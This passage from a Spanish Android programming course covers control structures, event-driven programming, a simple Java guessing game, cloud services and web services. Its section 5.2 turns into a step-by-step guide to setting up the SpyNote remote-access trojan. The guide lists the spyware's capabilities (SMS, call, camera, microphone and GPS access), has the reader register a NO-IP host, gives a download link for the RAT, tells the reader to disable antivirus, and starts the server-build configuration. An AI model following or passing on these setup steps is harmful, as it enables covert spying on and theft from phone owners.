aplicación, audio, videos, bases de datos, la carpeta "assets"
y la carpeta "res" sirven ambas para guardar recursos, pero la
diferencia es que los que se encuentran en "assets" no
generan un identificar en el archivo R que vimos se encuentra
en el directorio "gen".

96
bin- Aquí tenemos archivos generados por el mismo Java,
que en realidad no los utilizamos y tampoco debemos
manipular, son archivos binarios como bien dice su nombre.

libs- Se encuentran librerías externas que necesita el


proyecto.

res- El directorio "res" contiene todos los recursos de la


aplicación.

res/drawable- Contiene todas las imágenes y gráficos PNG


que vamos a incluir en nuestra aplicación. Cada uno
representa una densidad, más adelante tendremos un
capitulo para este tema en específico.

res/layout- En este directorio colocamos todos los XML que


son la parte gráfica de nuestras "activities", es decir, todos los
XML que son las pantallas de nuestra aplicación.

res/values- Se encuentran archivos con cadenas de texto


que usamos en nuestra aplicación, algunos estilos de nuestra
aplicación.

AndroidManifest.xml- El archivo Manifest es el más importante


para nuestra aplicación, es la columna vertebral de nuestro
proyecto, en él declaramos todas las actividades del
proyecto, los permisos, versiones del SDK que usamos y un
montón de cosas que vamos a ver más en detalle.

97
3.3.-Secuencia de operaciones

Ejemplo Condicional simple en Android:

Esta estructura te servirá para realizar una determinada acción


si se cumple una determinada prueba lógica (predefinida por
ti previamente) por ejemplo, en la siguiente imagen,
compruebo SI la variable "nivel" es mayor ">" a 5.

Si se cumple esta condición, se ejecuta el código que hay


entre las llaves. Lo que hago en este código es "resetear" esta
variable y ponerla a 1 ¿por qué? eso ya es por el
funcionamiento que tiene mi app, lo importante aquí es que
veas que la sintaxis es:

if (condición) {
ejecuta este codigo si se cumple
la condición;
}

Ejemplo de Condicional completo en Android:

Esta estructura es igual a la anterior, solo que le añadimos que


hacer si NO se cumple la condición que hemos programado.
En ocasiones nos interesa controlar que hacer cuando SI se
cumple y cuando NO se cumple, como digo, esto debes de
ser tú el que lo decida (que usar en cada caso) y dependerá
que quieres que haga tu aplicación. La sintaxis es igual, solo

98
que añadimos la palabra ELSE y otro juego más de llaves que
encierra el código a ejecutar si la condición NO se cumple:

if (condición) {
//ejecuta este codigo si se cumple
la condición
codigo SI;
}else{
//Ejecuta este codigo si la
condición no se cumple:
codigo NO;
}

Ejemplo de Selección múltiple según valor o condición en


Android:
Esta estructura es útil para hacer una selección con múltiples
opciones, pero sabiendo que valor va a tener la variable. Esto
es muy común para usarlo en los menús o en las listas, porque
en estas, el primer item de la lista vale 0, el segundo 1, el tercero
2, por consiguiente, sabes que hacer en cada caso.

La estructura es simple, entre paréntesis (variable) pones la


variable a comparar y en cada "case" lo que quieres que
quieres ejecutar según valga esa variable que pusiste en la
condición:

99
switch (variable) {
case 0:
//codigo a ejecutar...
break;

case 1:
//Codigo a ejecutar...
break;

case 2:
//Codigo a ejecutar...
break;

default:
//Codigo a ejecutar si no se cumple ningún caso
anterior

break;
}

Estructura y ejemplo FOR en Android:

Este tipo de BUCLE sirve para repetir el cogido encerrado entre


las llaves {....} mientras se cumpla la condición que definamos.
Esta estructura de control, consta de 4 elementos o partes:

100
1.- Inicialización de la variable: Esta parte del bucle, solo se
ejecutará la primera vez.

2.- Condición a evaluar: En esta parte se fija la condición a


cumplir, hay que tener mucho cuidado y que sea una
condición que no sea infinita, si no la aplicación se trabara y
no saldrá de este bucle nunca.

3.- Actualización: Una vez que termina la ejecución del código


entre las llaves y antes de volver a evaluar la condición del
paso 2, ejecutara lo que pongamos en este lugar.

4.- Código: Se pone entre {..} el código a ejecutar en cada


bucle o ciclo.

Lo que hará este For es ejecutar 5 veces el código que hay en


las llaves, después ejecutar el código, i++ incrementa en 1
variable i, por lo que cada vez i valdrá 1,2,3,4 y 5. Cuando la
variable i valga 5 será = a n por lo que ya no será menor y
dejara de ejecutarlo.

Estructura y ejemplo WHILE en Android:

Este bucle, primero evalúa la condición, si la cumple, ejecuta


el código que se encuentra entre las llaves {....}, luego vuelve
a evaluar la condición, y vuelve a ejecutar el código entre las
llaves {....}, y así hasta que deje de cumplirse. Mucho ojo, en el
código debes incluir algo que controle la evaluación de la
condición, para que esta no sea infinita, si no el programa
nunca saldrá de este bucle.

While (condicion) {

//codigo a ejecutar si se cumple


la condición;

101
}

En este ejemplo mostramos un operador de incremento y a


continuación se mostrarán alguno de ellos:

102
Los Operadores lógicos tienen prioridad, se mostrará una
pirámide general que indica el orden en que deben
evaluarse:

Constructor:
El constructor tiene el nombre de como definimos la clase y
nunca tienen tipo de retorno a diferencia de un método. Es
importante diferenciar entre un método y un constructor.
Por lo regular siempre hay un constructor en cada clase, el
valor predeterminado le permite crear instancias de objeto
nuevo, sin tener que escribir un constructor.
Es recomendable que un constructor inicialice los atributos de
la clase a un que no tengan valor. En caso de que se quiera
inicializar un atributo en cero “valor numérico” siempre lo
declararemos de esta forma: “nombre del atributo = 0; En
caso de que un atributo que quiera inicializar a un valor nulo
“atributos que son objetos” lo declararemos de esta manera:
“nombre del atributo = null; Otro caso de inicializar un atributo
tipo texto es necesario inicializar vacío lo declararemos de
esta manera: “nombre del atributo = “”.
103
3.4.-Programación orientada a eventos
Los eventos son el medio como interactúa una clase con
otras o con el propio usuario, se encargan de avisar que algo
ha ocurrido y de manejarlo de una forma o de otra. Cada vez
que escribimos con nuestro teclado, que hacemos clic en un
botón o un link, que cambiamos el tamaño de un objeto,
estamos generando eventos. Es por ello que, cuando
programamos, debemos tener en cuenta la posibilidad, tanto
de manejar eventos que sólo implican a nuestra clase como
de generar nuestros propios eventos, de modo que los
usuarios de nuestras clases que puedan decidir cómo
reaccionará su código ante ellos.

Las aplicaciones desarrolladas con programación dirigida por


eventos implementan un bucle principal o main donde se
ejecutan las dos secciones principales de la aplicación:

El selector de eventos y el manejador de eventos.

La mayoría de librerías para el desarrollo de aplicaciones


con GUI como GTK o Qt están diseñados para ser dirigidos por
eventos, de ahí el famoso sistema de ranuras y señales de Qt
que no es más que un patrón de diseño observer bastante
currado.

Un poco de historia:

A finales de los 70, los sistemas estaban pensados para


trabajar como cadenas de ensamblaje donde un programa
usaba una entrada y producía una salida que sería utilizada
por otro programa como entrada para producir otra salida y
así hasta finalizar el proceso. Este proceso mental de construir
software es la base del desarrollo estructurado.

El siguiente diagrama muestra el siguiente proceso:

 Un flujo de datos invoca eventos o lo que Constantine y


Yourdon llamaron “transacciones “
 Un disparador los envía a manejadores especializados,
Constantine y Yourdon lo llamaron “centro de
transacciones “
104
 Un conjunto de manejadores que se encargan de realizar
operaciones sobre el flujo de datos

El disparador tiene que procesar un flujo de eventos, así que


su lógica debe incluir un bucle de eventos para poder enviar
un evento a un manejador y volver a escuchar a la espera de
nuevos eventos que disparar.

En algunas ocasiones es común que el disparador y los


manejadores no sean capaces de procesar los eventos con
la suficiente premura conforme van llegando por lo que la
mayoría de aplicaciones basadas en GUI implementan
una cola de eventos. Esta lógica es muy delicada y si no se
implementa bien puede ser producto de errores fatales.

Con la aparición en los noventa de la programación


orientada a objetos nuevos diseños vieron la luz
como ESA (Essential Systems Analysis) y JSD (Jackson System
Development) que rompieron de forma brutal con la antigua
manera de pensar en métodos estructurados.

Arquitectura cliente-servidor:

La arquitectura cliente-servidor es claramente una


implementación del patrón de diseño de manejadores de
eventos. Podemos pensar en el servidor como un disparador
de eventos que espera a la escucha de una petición de un
cliente que envía un evento y entonces el servidor lo re-envía
a un manejador que lo procesa y devuelve un resultado.
105
El servidor implementa el bucle de eventos que escucha de
forma continua y procesa las peticiones reenviándolas a
partes más especialistas del servidor donde son procesadas y
devueltas al cliente como respuesta. Si el bucle de eventos,
recibe una petición extraña, sencillamente la descarta y
emite un mensaje de error al cliente emisor.

Programación GUI:

La programación gráfica o programación de GUI es dura,


sobre todo si vienes del desarrollo web. Para empezar, todo
elemento que conforma la interfaz de usuario de la
aplicación debe de ser definido con detalle. Su posición,
tamaño, color, aspecto, comportamiento, etc. Por eso existen
los IDEs y los Frameworks, para facilitar el trabajo.

En segundo lugar, la programación con GUI es difícil porque


existen muchos detalles y conceptos que dependen
completamente del manejo de eventos. Cualquier Widget en
la interfaz de usuario tiene uno o más eventos asociados y a
su vez emite uno o más eventos hacia el mundo exterior. El
hardware de entrada como el ratón y el teclado, también
generan eventos y esos eventos también pueden ser
capturados por los widgets de la interfaz de usuario.

La mayoría de herramientas de creación de interfaces


gráficas de usuario se distribuyen como frameworks. Los
frameworks implementan el bucle de eventos y la cola de
eventos para que no tengamos que implementarlos nosotros
mismos. Eso está bien, pero el mecanismo
queda encerrado dentro del framework y si no estamos
acostumbrados a la programación dirigida por eventos
algunos conceptos pueden resultar realmente confusos.

Y no solo esos bucles quedan ocultos dentro del


funcionamiento del framework, sino que también quedan
ocultas mecánicas básicas que es necesario comprender
para llegar a tener un entendimiento claro. Un ejemplo claro
es el patrón observer.

106
El patrón Observer:

La idea principal detrás del patrón observer es que existe


una entidad con estados cambiantes y una o más entidades
observándola. Los observadores esperan a que la entidad
observada les informe de un cambio de estado a través de
un evento que puede ser de su interés, por lo que los
observadores se registran con la entidad observada.

Cuando ocurre un evento, la entidad observada mira en su


lista de observadores y notifica a aquellos que se registraron
para recibir eventos de ese tipo. Los observadores dejaron
instrucciones detalladas de cómo puede la entidad
observada ponerse en contacto con ellos para recibir los
eventos.

El sistema de ranuras y señales de Qt y el sistema de señales


de GTK son ambas implementaciones del patrón de diseño
Observer.

Programación asíncrona:

La programación asíncrona pretende llevar este patrón de


diseño a todos los aspectos del desarrollo de software por
medio de mecanismos que articulan de una u otra forma el
uso de eventos, señales y callbacks en todas las llamadas a
funciones y métodos llevados a cabo por la aplicación
utilizando además múltiples hilos de ejecución normalmente
en una pila o hilos, gestionada por un bucle de
eventos extremadamente complejo.

Algunos lenguajes como .NET lo incorporan como parte del


lenguaje de facto (versión 3.0 o superiores). Otros lenguajes
disponen de librerías, herramientas o frameworks que
implementan la programación asíncrona. Así tenemos Twisted
para Python, EventMachine para Ruby, Node.js para
JavaScript, y muchas otras, para muchos otros lenguajes.

107
¿En qué consiste la emisión/recepción de eventos?
Básicamente, de lo que se trata es de avisar de algún cambio
en el estado de la instancia, que puede ser un clic en el
objeto, el final de un proceso de carga o la terminación de
algún complejo proceso. Esto es lo que conocemos
como broadcasting.

En esta pequeña introducción a la programación dirigida por


eventos hemos hecho un repaso por la historia de este
paradigma de programación que lleva con nosotros mucho
tiempo.

108
Ahora que ya avanzamos en la parte teórica vamos a
continuar editando nuestro archivo Java “Principal”, que,
quedándonos de tal forma, “Imagen 1.74”:

Imagen 1.74, Código en “Principal”

Ahora vamos a crear un método para las imágenes que no


tengan la sombra y enlazaremos el método, “Imagen 1.75”:

Imagen 1.75, Código en “Principal”

109
Vamos a continuar con el caso contrario del if, “Imagen 1.76”:

Imagen 1.76, Código en “Principal”

Lo siguiente que vamos a realizar es una parte sobre el


tiempo, y si nos pasamos de tiempo vamos a perder un
intento para ello primero vamos a agregar otro TextView,
“Imagen 1,77”:

Imagen 1.77, Agregaremos un TextView

110
Y ya esto ahora si podremos declara nuestra variable para el
conteo del tiempo y como ya agregamos otro TextView,
también se declarará, “Imagen 1.78”:

Imagen 1.78, Código en “Principal”

Nota:
Al estar manejando CountDowTime es necesario agregar los
dos métodos que ya tiene predefinidos, si no lo hacemos nos
va a marcar un error.
Vamos a continuar editando la parte de espera, “Imagen
1.79”:

Imagen 1.79, Editando código en la variable de espera

111
Ahora pondremos en la segunda parte para generar un
nuevo hacker, “Imagen 1.80”:

Imagen 1.80, Editando código en la variable de espera

Ahora vamos hacer un caso de if, si nos agotamos todos los


intentos o que va hacer es sacarnos de la partida para
darnos la opción de volver a jugar, “Imagen 1.81”:

Imagen 1.81, Código en “Principal”

Con esta parte terminaríamos la aplicación, muy sencilla


ahora nos vamos a dedicar a la parte del Rat y la parte de
Spoofing, por ultimo voy a mostrar todo el código completo
de la ventana jugar.xml, es todo lo que fuimos haciendo paso
a paso:

112
package com.example.monseortiz.appli;

import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.v7.app.ActionBarActivity;
import android.view.View;
import android.view.Window;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;

/**
* Created by Monse Ortiz on 10/07/2017.
*/

public class Principal extends ActionBarActivity {


private String[ ] nombre_hackers={"Adrian", "Alex", "Chema",
"Kevin", "Michael", "Mike", "Monse", "Nicole","Raul", "Robert"};

private String[ ] nombre_sombra={"Adrian_1", "Alex_1", "Chema_1",


"Kevin_1", "Michael_1", "Mike_1", "Monse_1", "Nicole_1","Raul_1",
"Robert_1"};

private int intentos=3;


private Button aceptar;
private TextView mensaje_intentos;
private TextView usuario_hacker;
private TextView mensaje_cuenta;
private int numero_generado=0;
private ImageView mi_imagen;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_jugar);

aceptar = (Button) findViewById(R.id.aceptar);


mensaje_intentos = (TextView) findViewById(R.id.Intentos);
mensaje_cuenta = (TextView) findViewById(R.id.Cuenta);
usuario_hacker = (TextView) findViewById(R.id.Hackers);
numero_generado=generaraletorio();
mi_imagen=(ImageView) findViewById(R.id.imageView);
establecer_sombra(numero_generado);
mensaje_intentos.setText("Tiene " + intentos + "Intentos");
aceptar.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String nombre=
usuario_hacker.getText().toString().toLowerCase();
if(nombre.equals(nombre_hackers[numero_generado ]))
{
establecer_hacker(numero_generado);
}
else
{
Toast.makeText(getApplicationContext(),"No es el
Hacker", Toast.LENGTH_SHORT).show();
intentos=intentos-1;
mensaje_intentos.setText("Tiene " + intentos +

113
"Intentos");
}
if (intentos==0)
{
finish();
}
}
});
}
public void esperar()
{
new CountDownTimer(5000, 1000) {
@Override
public void onTick(long millisUntilFinished) {
mensaje_cuenta.setText("Generando en " + (
millisUntilFinished/1000));
}

@Override
public void onFinish() {
numero_generado=generaraletorio();
establecer_sombra(numero_generado);
mensaje_cuenta.setText("");
usuario_hacker.setText("");
}
}.start();
}
private void establecer_hacker (int numero)
{
int resId= getResources().getIdentifier(nombre_hackers [
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private void establecer_sombra (int numero)
{
int resId= getResources().getIdentifier(nombre_sombra[
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private int generaraletorio()
{
return (int)(Math.random()*nombre_hackers.length);
}
}

114
Capítulo 4:
Comunicación con la
nube.

115
4.1.-Introducción de servicios en la nube

Uno de los términos más interesantes acuñados durante los últimos


años, y que cobra cada día mayor importancia gracias a la
evolución constante en todos los aspectos tecnológicos en lo
que se refiere a la portabilidad, movilidad y convergencia tanto de
hardware como de software, es sin lugar a dudas el concepto
de "Cloud Computing", más ampliamente conocido como
"Computo en la Nube".

¿Qué es el computo en la nube?

Esta nueva tendencia tecnológica es un concepto surgido de la


necesidad de desplazar a servidores en Internet, dedicados a este
fin, todas las aplicaciones y documentos que el usuario utiliza
diariamente para su labor, con el objetivo de que el mismo
pueda disponer de dichos elementos en el momento que los
necesite y desde cualquier lugar del planeta, para poder cumplir
con su trabajo más allá de la situación en la que se encuentre.

De esta forma, cualquier usuario más allá del lugar o momento en


que se encuentre, podrá utilizarlos y acceder a sus datos en la
"nube".

116
Hace algunos años, esta tecnología ha brindado ventajas
impensables, cuando lo realmente importante se centraba en el
poder de cómputo del hardware, ya que para la utilización de
estos servicios o "Cloud Apps" no será necesario invertir grandes
sumas de dinero en sofisticados y poderosos equipos informáticos.

Si bien diversos destacados especialistas en la materia consideran


a este fenómeno como algo "pasajero", e incluso en algunos casos
hasta se ha llegado a definir a la Cloud Computing como una
trampa.
Tengamos en cuenta que la llamada Nube puede presentar
diversas y múltiples ventajas que se podrán aprovechar a futuro,
cuando la tecnología y nosotros como usuarios estemos
preparados para este gran salto no sólo tecnológico, sino también
de concepción.

El término "nube", se utiliza como una metáfora de Internet,


basado en el dibujo de nubes utilizado en el pasado para
representar a la red telefónica, y más tarde para representar a
Internet en los diagramas de redes de ordenadores.

La "computación en la nube", (cloud computing) hace


referencia a los servicios que se ofrecen en la nube.
Es la evolución natural de la adopción generalizada de la
virtualización y la arquitectura orientada a servicios. La idea
básica es que los usuarios finales ya no necesitan tener
conocimientos o el control sobre la infraestructura de
tecnología "en la nube" que los apoya.

Hay tres tipos de nube:

Pública, privada e híbrida.

 Nube Pública: Intenta brindar a los consumidores


elementos informáticos.
Se trata de software, de infraestructura de aplicaciones o
de infraestructura física. El proveedor de la nube asume
las responsabilidades de instalación, gestión, provisión y
mantenimiento. Se ofrecen en sistema de pago por uso.

117
 Nube Privada: Son servicios de nube que se brindan
dentro de las empresas que necesitan alta protección de
datos y están gestionados por la propia empresa.
La empresa es la encargada de la configuración y el
mantenimiento de la nube. Todo el coste de
infraestructura corre por cuenta de la empresa, pero se
evita el pago por uso.

 Nube Híbrida: Combina los modelos de nube pública y


privada.
Por lo general, estas nubes son creadas por empresas,
aunque las responsabilidades de gestión se dividen
entre la empresa y el proveedor de la nube pública. Un
ejemplo sería una nube privada que utiliza
almacenamiento de datos en una nube pública para
abaratar costes.

Y también son tres los servicios fundamentales que ofrecen los


proveedores de nube: IaaS (Infraestructura como Servicio), SaaS
(Software como Servicio) y PaaS (Plataforma como Servicio).

118
4.2.-Ventajas y Desventajas

Ventajas del almacenamiento en la nube:

La disponibilidad inmediata de poder ver, revisar y


corregir esos datos desde cualquier lugar y dispositivo con
acceso.
La independencia a la hora de no tener que
preocuparse de guardar una y otra vez todos los datos
que vamos registrando o actualizando.
La economía ya que con este servicio nos ahorramos
bastante dinero.

Desventajas del almacenamiento en la nube:

Los datos pueden estar, en manos de terceros, en


cualquier parte del mundo.
Al estar nuestros datos en cualquier lugar del mundo, el
contratante no tiene por qué saber dónde están alojados
sus datos.
No se dispone del control de acceso total a los datos,
para poder borrarlos o simplemente portarlos, con las
garantías de su total eliminación.

119
¿Que debes tener en cuenta al contratar los servicios de la
nube?

1. Que la empresa suministradora del servicio sea de


reconocida solvencia y te dé garantías de seguridad y
privacidad.

2. Que esté localizada en un país que tenga una legislación


de protección de datos adecuada y reconocida por la UE.

3. Que sus servidores se encuentren instalados en la Unión


Europea, preferiblemente, o en un país seguro reconocido
por la ella, como EEUU.

En mi opinión considero que si es una buena opción siempre y


cuando no sea información de alto riego.

Son muy prácticos los servicios, facilita la opción en algunos


casos; Hay que tomar los riegos que se ocurre al usar la nube.

Las empresas que ofrecen estos servicios de alojamiento,


operan enormes centros de procesamiento de datos. Los
usuarios que se ven en la necesidad de este tipo de servicio,
contratan la capacidad de almacenamiento que necesitan.
Las empresas operadores de este servicio, virtualizan los
recursos, el espacio físico remoto, según los requerimientos del
cliente y los clientes son los responsables de administrar el
almacenamiento y el funcionamiento tanto de los archivos
de datos como de las aplicaciones informáticas de su
propiedad, alojadas en este servicio de alojamiento remoto.

120
4.3.-Servicios en la nube de google
Se puede decir que es un nuevo modelo de uso de los
ordenadores y dispositivos móviles. Ya que todo lo que
normalmente tendrías en tu ordenador, programas o archivos,
pasa a estar en servidores a los que puedes acceder
mediante Internet.
A diario utilizas muchos de estos servicios: Gmail, Yahoo,
Facebook, Dropbox, Google Drive, Evernote, etc., son
servicios en la nube.
La nube te ayuda a comunicarte, compartir, organizar,
almacenar y encontrar tu información con gran rapidez.

Google Drive es un servicio prestado en “la nube” por


Google.
Con las funcionalidades de Google Drive puedes:
 Guardar fotos, artículos, diseños, dibujos, grabaciones, vídeos
o lo que quieras.
 Acceder a tus archivos en cualquier lugar y dispositivo.
 Compartir archivos y carpetas fácilmente con otros usuarios.
 Crear documentos, ya que cuenta con aplicaciones
ofimáticas para crear documentos de texto, hojas de cálculo,
presentaciones y formularios (encuestas, contactos, etc.).
 Almacenar hasta 15 GB gratis, para empezar.
 Tener más cantidad de espacio a tu disposición pagando
mensualmente un precio muy razonable.
 Utilizar cientos de aplicaciones desarrolladas para conectar
con la suite de Drive.

121
Acceder a Google Drive:

Para trabajar con Google Drive debes tener una cuenta de


Google. Si ya tienes una cuenta Google / Gmail, cuentas con
este servicio a tu disposición.
Otro motivo por el que resulta interesante tener una cuenta
Google es porque con un solo usuario tienes acceso
personalizado a Gmail, Calendar, Drive, Google+, Youtube,
Google maps.

Drive tiene su propio Office:

Los programas de Oficina de Google Drive


Google Drive incorpora aplicaciones para crear documentos
de texto, hojas de cálculo y presentaciones, similares a las
conocidas herramientas Word, Excel y Power Point.
 Google Docs
 Hojas de cálculo de Google
 Presentaciones de Google.
Estas aplicaciones te permiten crear distintos tipos de
documentos on-line, trabajar con ellos en tiempo real con
otras personas y guardarlos en tu Google Drive on-line.

Es una de las empresas que ofrece servicios de nube gratuitos


y para empezar considero que es una gran opción:

122
Capítulo 5:
Aplicaciones web
dentro de Android.

123
5.1.-Introducción a un servicio web
Un servicio web (web service o web services) es una
tecnología que utiliza un conjunto de protocolos y estándares
que sirven para intercambiar datos entre aplicaciones.
Distintas aplicaciones de software desarrolladas en lenguajes
de programación diferentes, y ejecutadas sobre cualquier
plataforma, pueden utilizar los servicios web para
intercambiar datos en redes de ordenadores como Internet.
La interoperabilidad se consigue mediante la adopción
de estándares abiertos. Las organizaciones OASIS y W3C son
los comités responsables de la arquitectura y reglamentación
de los servicios Web. Para mejorar la interoperabilidad entre
distintas implementaciones de servicios Web se ha creado el
organismo WS-I, encargado de desarrollar diversos perfiles
para definir de manera más exhaustiva estos estándares. Es
una máquina que atiende las peticiones de los clientes web y
les envía los recursos solicitados.

Características de los Servicios Web:

Las características deseables de un Servicio Web son:

 Un servicio debe poder ser accesible a través de la Web. Para


ello debe utilizar protocolos de transporte estándares como
HTTP, y codificar los mensajes en un lenguaje estándar que
pueda conocer cualquier cliente que quiera utilizar el servicio.
 Un servicio debe contener una descripción de sí mismo. De
esta forma, una aplicación podrá saber cuál es la función de
un determinado Servicio Web, y cuál es su interfaz, de manera
que pueda ser utilizado de forma automática por cualquier
aplicación, sin la intervención del usuario.
 Debe poder ser localizado. Deberemos tener algún
mecanismo que nos permita encontrar un Servicio Web que
realice una determinada función. De esta forma tendremos la
posibilidad de que una aplicación localice el servicio que
necesite de forma automática, sin tener que conocerlo
previamente el usuario.

124
Tipos de servicios Web:
es un componente software proporcionado a través de
un endpoint accesible a través de la red. Los servicios
productores y consumidores utilizan mensajes para
intercambiar información de invocaciones de petición y
respuesta en forma de documentos auto-contenidos que
hacen muy pocas asunciones sobre las capacidades
tecnológicas de cada uno de los receptores.

¿Qué es un endpoint?

Los servicios pueden interconectase a través de la red. En una


arquitectura orientada a servicios, cualquier interacción
punto a punto implica dos endpoints. Uno que proporciona
un servicio y otro que lo consume. Es decir, cada uno de los
elementos, que se sitúan en ambos extremos de la red que
sirve de canal de comunicación entre ellos.

Distintas aplicaciones de software desarrolladas en lenguajes


de programación diferentes, y ejecutadas sobre cualquier
plataforma, pueden utilizar los servicios web para
intercambiar datos en redes de ordenadores como internet.

125
5.2.-Como montar un Rat

Los troyanos del tipo RAT llevan siendo utilizados muchos años
por los piratas informáticos, se ejecutan a nivel de memoria
RAM, sin pasar por disco duro y de forma cifrada,
convirtiéndose en malware incapaz de ser detectado por la
mayoría de herramientas de seguridad. Incluso han alcanzado
desarrollos con una serie de técnicas adicionales para, enviar
información sobre el host donde se ejecuta, detectar
herramientas de análisis de procesos, y también ser capaz de
auto eliminarse en caso de ejecutarse sobre entornos virtuales
de pruebas.
Ejemplos de ello son troyanos con fines de extraer información
bancaria y de identificación personal, todos mediante
operaciones manuales, manteniendo permisos de
administrador y firmados con certificados debug lo cual les
permite ocultar su identificación.

Al tomar control remoto del dispositivo, el atacante podría


ejecutar cualquier función en su calidad de administrador y en
cualquier momento; podría usar el micrófono, webcam
(posibilidad de espiar conversaciones), realizar envío de spam
(SMS en caso de móviles), lanzar ataques de denegación de
servicio DOS, compartir información, etc.

Algunas de las operaciones que se pueden llevar a cabo en


el ordenador remoto son:

 Utilizar la máquina como parte de una botnet (por ejemplo


para realizar ataques de denegación de servicio o envío
de spam).
 Instalación de otros programas (incluyendo otros
maliciosos).
 Robo de información personal: información bancaria,
contraseñas, códigos de seguridad, etcétera.
 Borrado, modificación o transferencia de archivos
(descarga o subida).
 Ejecutar o terminar procesos.
 Apagar o reiniciar el equipo.

126
 Monitorizar las pulsaciones del teclado.
 Realizar capturas de pantalla.
 Ocupar el espacio libre del disco duro con archivos inútiles.
 Monitorización del sistema y seguimiento de las acciones
del usuario.
 Miscelánea (acciones "graciosas" tales como expulsar la
unidad de CD, cambiar la apariencia del sistema, etc.)
 Sacar fotos por la webcam si tiene.
 Borra el disco.

Hoy en día, dada la popularidad de los sistemas para


dispositivos móviles y tabletas, especialmente aquellos con
menor control en su marketplace de aplicaciones (como
Android) son foco de creciente interés para los
desarrolladores de este tipo de malware. En el caso de estos
dispositivos, las acciones que un atacante puede llegar a
realizar son similares a las anteriores pero dada la naturaleza
del dispositivo, el abanico de opciones se amplía.
Algunos ejemplos son:

 Captura de mensajes de texto entrantes y salientes.


 Captura del registro de llamadas.
 Habilidad para acceder (consultar, eliminar y modificar) la
agenda de contactos.
 Habilidad para efectuar llamadas y enviar SMS.
 Conocimiento de la posición geográfica del dispositivo
mediante GPS.

127
El rat que vamos a utilizar en esta ocasión va ser SpyNote:

Cuenta con un gran número de funciones y características de


manera que se convierte en uno de los troyanos más peligrosos
vistos hasta ahora:

 Es capaz de actualizarse a sí mismo.


 Permite al pirata informático descargar e instalar
aplicaciones de forma remota en el smartphone
infectado.
 Tiene acceso a los SMS y puede ver, escuchar y realizar
llamadas.
 Es capaz de acceder a la lista completa de contactos.
 Puede recopilar todos los datos técnicos del dispositivo,
incluso el IMEI y la MAC del Wi-Fi.
 Tiene acceso a la ubicación GPS.
 Es capaz de escuchar a través del micrófono, incluso de
ver a través de las cámaras.

Además de todas sus funciones anteriores, una de las


características más relevantes es que es capaz de funcionar
sin restricciones incluso en dispositivos sin root.

Ninguna de las funciones de SpyNote necesita root:

Hasta ahora, muchos troyanos similares necesitaban tener


permisos de root para funcionar, lo que limitaba su radio de
acción u obligaba a los piratas informáticos a incluir en ellos
exploits que le permitieran conseguir dichos permisos
aprovechando vulnerabilidades como las de los procesadores
Qualcomm. Sin embargo, SpyNote no necesita en ningún
momento permisos de root para desatar todo su potencial,
aunque a cambio de eso tendrá que pedir al usuario un gran
número de permisos, lo que debería levantar sospechas.
La última versión 2 de SpyNote cuenta con un compilador que
permite a los piratas informáticos montar su propia versión del
troyano y redirigir todo el tráfico a su propio servidor de control,
sin embargo, por el momento no se sabe si este troyano se
distribuirá por la red como una herramienta abierta.

128
Analizando este compilador, los expertos de seguridad han
descubierto una gran similitud con otras variantes similares
como OmniRat y DroidJack y, según la actividad de los foros
de la Deep Web, es posible que esta nueva amenaza esté lista
para empezar a distribuirse a nivel mundial en cualquier
momento.

El primer paso para obtener nuestro rat será hacer una


cuenta en la página de NO-IP.
Nota:
Es importante poner un correo verídico porque después nos
pide autentificar la cuenta.

Imagen 1.82, Entramos a la página NO-IP

129
Imagen 1.83, Creamos una nueva cuenta

Valimos la cuenta con el correo electrónico que pusimos y


nos va a dará ya nuestro usuario:

Imagen 1.84, Usuarios

Ahora el siguiente paso será descargar el programa, “Imagen


1.85”:

Imagen 1.85, Descarga del programa

Nos a parecerá una venta de descarga ahora y lo


descargamos, “Imagen 1.86”:

Imagen 1.86, Descarga

130
Una vez descargado el programa, seguiremos con los pasos
de instalación, “Imagen 1.87”:

Imagen 1.87, Proceso de Instalación

Una vez que agregamos los términos y condiciones nos


aparecerá la siguiente ventana que donde se instala el
programa, “Imagen 1.88”:

Imagen 1.88, Proceso de Instalación

131
Y por último se va instalar, “Imagen 1.89”:

Imagen 1.89, Proceso de Instalación

132
Vamos a entrar al programa con la cuenta ya creada,
“Imagen 1.90”:

Imagen 1.90, Iniciar sesión

Una vez que entremos nos va aparecer la siguiente venta y le


daremos clic en el siguiente recuadro y por ultimo de
daremos en el botón Save, “Imagen 1.91”:

Imagen 1.91, Proceso

133
Por ultimo nos saldrá esta venta diciendo que ya podemos
ocupar nuestro sitio de NO-IP, “Imagen 1.92”:

Imagen 1.92, Sitio NO-IP

Ya que tenemos todo listo vamos a proceder a descargar el


rat, en la siguiente página dejare el link:
https://www.sendspace.com/file/satqma
No aparecerá una ventana como esta, “Imagen 1.93”:

Imagen 1.93, Rat

Nota:
Es importa DESACTIVAR EL ACTIVIRUS, para que nos deje
descargar el archivo.

134
Una vez que descarguemos el archivo nos aparecerá de esta
forma y descomprimimos el archivo, “Imagen 1.94”:

Imagen 1.94, Rat

Tendremos los siguientes archivos, “Imagen 1.95”:

Imagen 1.94, Archivos del Rat

Ahora vamos a ejecutar el archivo d SpyNote como


administrador y automáticamente lo va a ejecutar después
obtendremos una ventana como esta, “Imagen 1.95”:

Imagen 1.95, Plataforma de SpyNote

135
Ahora vamos a checar la venta de Help, “Imagen 1.96”:

Imagen 1.96, Plataforma de SpyNote

Si le damos clic vamos a ver contenido acerca de SpyNote,


podremos observar que utilizamos una versión 4.0 “Imagen
1.97”:

Imagen 1.97, Contenido de SpyNote

Ahora el siguiente paso será irnos a la opción de tolos y nos


vamos a dirigir a la parte de Build, “Imagen 1.98”:

Imagen 1.98, Contenido de SpyNote

136
Y una vez que le demos clic nos va, aparecer la siguiente
ventana, “Imagen 1.99”;

Imagen 1.99, Contenido de Build Server

Y como vemos ya nos da la opción de CPU abierta vamos a


ver qué es lo que contiene en el archivo de root: Acceder a
los permisos de root, como vemos esta opción de vamos a
dar que sí, “Imagen 1.99”:

Imagen 1.99, Contenido de root

137
Ahora vamos a ver que opción nos da el archivo de
protected: Activación de la aplicación protected también la
vamos a desactivar, “Imagen 1.100”:

Imagen 1.100, Contenido de protected

